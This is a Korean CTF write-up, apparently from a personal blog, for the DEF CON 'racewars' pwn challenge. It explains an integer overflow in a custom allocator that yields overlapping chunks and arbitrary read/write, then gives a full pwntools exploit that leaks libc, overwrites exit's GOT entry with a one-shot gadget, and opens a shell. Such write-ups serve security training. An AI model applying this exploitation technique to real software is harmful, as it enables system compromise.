처음 푸는 defcon문제라 한껏 쫄아서 오디팅 열심히 해보고 익스까지 좀 시간이 걸렸던 문제다.
이 문제에서는 눈에 띄는 버그가 존재하지 않고 교묘하게 숨겨놓은 버그들의 체이닝으로 풀 수 있다.
첫 번째로 다음과 같은 코드가 존재한다.
사용자의 입력값으로부터 ooo_malloc을 수행해주는 것을 볼 수 있다.
해당 코드에선 취약점이 발생하지 않을 것처럼 보이지만 ooo_malloc내부에서 호출하는 custom_heap_malloc함수를 보면서 생각이 달라졌다.
만약 size가 0이 될 경우, 이후에 할당했을 때 주소를 가지게 되면서 이후 할당된 주소에 overlap된 만큼 r/w가 가능하게 된다.
즉, 0x20 * size를 했을 때 0이 되는 값을 찾으면 된다. 이 바이너리에서는 shl를 사용해 연산했으므로 아래와 같은 식이 구성된다.
(DWORD)(size << 5) == 0, 그러므로 대충 값을 2 << 30만해도 된다.
두번째로 다음과 같은 코드가 존재한다.
overlap된 메모리에서 변조가 일어나 byte0 구조체 변수를 음수로 변경할 수 있다면 아래의 a1->byte9[v2]에 의해 arbitrary r/w가 가능해진다. 그러므로 tires를 먼저 할당시켜준 후, transmission을 할당하면서 overlapping을 해준다면 음수로 변경이 가능해질 것이다.
이후에 arbitrary r/w가 주어졌으니 offset 계산을 위해 할당된 주소를 대충 구하고, puts와 같은 libc주소를 얻어온 후 이래저래 익스를 짜보면 아래와 같다.
from pwn import *
con = process("./racewars")
sl = con.sendlineafter
def tries(tr):
sl("CHOICE: ", "1")
sl("how many pairs of tires do you need?", str(tr))
def chassis():
sl("CHOICE: ", "2")
sl("eclipse\n", "1")
def engine():
sl("CHOICE: ", "3")
def transmission(tr):
sl("CHOICE: ", "4")
sl("transmission? ", str(tr))
tries(536870912)
transmission(1)
chassis()
engine()
for i in xrange(1, 5):
sl("CHOICE: ", "1")
sl("CHOICE: ", str(i))
sl(": ", str(0xffff))
# b *0x40155C
engine = ""
for i in range(8):
sl("CHOICE: ", "4")
sl("modify? ", str(-16 + i))
con.recvuntil(" is ")
engine += chr(int(con.recvuntil(",")[:-1]) & 0xff)
sl("what?: ", "1")
sl("set gear to ", "0")
engine = u64(engine)
# 0x21a9318 - 0x21a92e8
transmission = engine - 0x30 + 0x09
print "engine: {:016x}".format(engine)
binary = ELF("./racewars")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got = binary.got["puts"]
diff = transmission - puts_got - 1
puts = ""
for i in range(8):
sl("CHOICE: ", "4")
# b *0x401538
sl("modify? ", str(-diff + i))
con.recvuntil(" is ")
puts += chr(int(con.recvuntil(",")[:-1]) & 0xff)
sl("what?: ", "1")
sl("set gear to ", "0")
puts = u64(puts)
exit_got = binary.got["exit"]
oneshot = puts - libc.symbols["puts"] + 0xf1147
print "puts: {:016x}".format(puts)
print "oneshot: {:016x}".format(oneshot)
diff = transmission - exit_got - 1
for i in range(8):
sl("CHOICE: ", "4")
# b *0x401538
sl("modify? ", str(-diff + i))
sl("what?: ", str(ord(p64(oneshot)[i])))
sl("set gear to ", "1")
sl("CHOICE: ", "5")
sl("CHOICE: ", "1")
sl("need?\n", "1")
con.interactive()
'Write up > CTF' 카테고리의 다른 글
[Codegate 2019] writeup (0) | 2019.01.29 |
---|---|
[RCTF 2017] RCalc (0) | 2017.05.22 |
[Codegate2017 Pre] EasyCrack101 (0) | 2017.02.11 |
[Codegate2017 Pre] BabyMISC (0) | 2017.02.11 |
[Codegate2017 Pre] BabyPwn (0) | 2017.02.11 |